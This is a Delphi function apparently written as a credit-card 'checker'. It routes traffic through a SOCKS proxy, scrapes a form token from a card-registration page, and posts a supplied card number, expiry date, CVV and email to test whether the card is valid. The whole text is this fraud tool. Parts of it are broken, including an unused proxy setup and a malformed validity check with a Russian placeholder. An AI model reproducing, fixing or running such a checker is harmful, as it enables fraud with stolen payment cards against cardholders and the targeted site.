function checkcc(ccnumber, ccexp, ccmail, ccccv, proxy: string): boolean; var http: tidhttp; ssl: tidssliohandlersocketopenssl; compressor: tidcompressorzlib; coo: tidcookiemanager; sock: tidsocksinfo; post: tstringlist; token, page, s: string; i: integer; begin result := false; page := ''; token := ''; s := ''; post := tstringlist.Create; http := tidhttp.Create; ssl := tidssliohandlersocketopenssl.Create; ssl.ssloptions.method := sslvTLSv1; ssl.port := 443; http.iohandler := ssl; http.request.useragent := 'mozilla/4.0 (compatible; msie 7.0; windows nt 6.0)'; http.request.acceptencoding := 'gzip, deflate'; http.readtimeout := 60000; http.connecttimeout := 60000; http.HandleRedirects := true; compressor := tidcompressorzlib.Create; http.compressor := compressor; sock := tidsocksinfo.Create; sock.authentication := sanoauthentication; sock.version := svsocks4; // 4 / 4A / 5 // Z.Рэйзор sock.Host := Copy(proxy, 1, Pos(':', proxy) - 1); sock.port := strtoint(Copy(proxy, Pos(':', proxy) + 1, 5)); coo := tidcookiemanager.Create; http.allowcookies := true; http.cookiemanager := coo; try page := http.Get( 'https://www.www-card.com/Screens/UsersManagement/SigningStep.aspx'); except end; if (length(page) = 0) or (Pos('id="__EVENTVALIDATION"', page) = 0) then exit; for i := Pos('id="__EVENTVALIDATION"', page) + 30 to length(page) do if page[i] = '"' then break else token := token + page[i]; post.Add('BrowserSafari=false'); post.Add('__EVENTTARGET='); post.Add('__EVENTARGUMENT='); post.Add('__MATRIX_VIEWSTATE=4'); post.Add('__VIEWSTATE='); post.Add('__EVENTVALIDATION=' + token); post.Add( 'ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctlUsername%24txtCreditCardNumber='); post.Add ('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctlUsername%24txtCode='); post.Add('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctl02=0'); post.Add('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctl04=16'); post.Add('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24Password='); post.Add('ctl00%24FormArea%24ctlVisaCardNumber%24txtCreditCardNumber=' + ccnumber); post.Add('ctl00%24FormArea%24ctlVisaCardNumber%24txtCode='); post.Add('ctl00%24FormArea%24ctl00=0'); post.Add('ctl00%24FormArea%24ctl02=16'); post.Add('ctl00%24FormArea%24ctl04='); post.Add('ctl00%24FormArea%24ctlExpirationDate%24txtExpirationMonth=' + ccexp [1] + ccexp[2]); post.Add('ctl00%24FormArea%24ctlExpirationDate%24txtExpirationYear=' + ccexp [3] + ccexp[4]); post.Add('ctl00%24FormArea%24ctl06=0'); post.Add('ctl00%24FormArea%24ctl08=4'); post.Add('ctl00%24FormArea%24ctlThreeDigitCode%24txtCodeNum=' + ccccv); post.Add('ctl00%24FormArea%24ctl10=0'); post.Add('ctl00%24FormArea%24ctl12=1'); post.Add('ctl00%24FormArea%24txtEmail=' + ccmail); post.Add('ctl00%24FormArea%24btnOK.x=90'); post.Add('ctl00%24FormArea%24btnOK.y=22'); post.Add( 'ctl00%24hiddenMsgboxId=ctl00_ctlPrePaidLoginControl_ctlLogin_msgboxErrorMessages'); try s := http.post( 'https://www.www-card.com/Screens/UsersManagement/SigningStep.aspx',post); except end; if length(s)=0 then exit; if pos('*Тут мы определяем валид*')>0 then result:=true; http.Free; ssl.Free; compressor.Free; coo.Free; sock.Free; post.Free; end;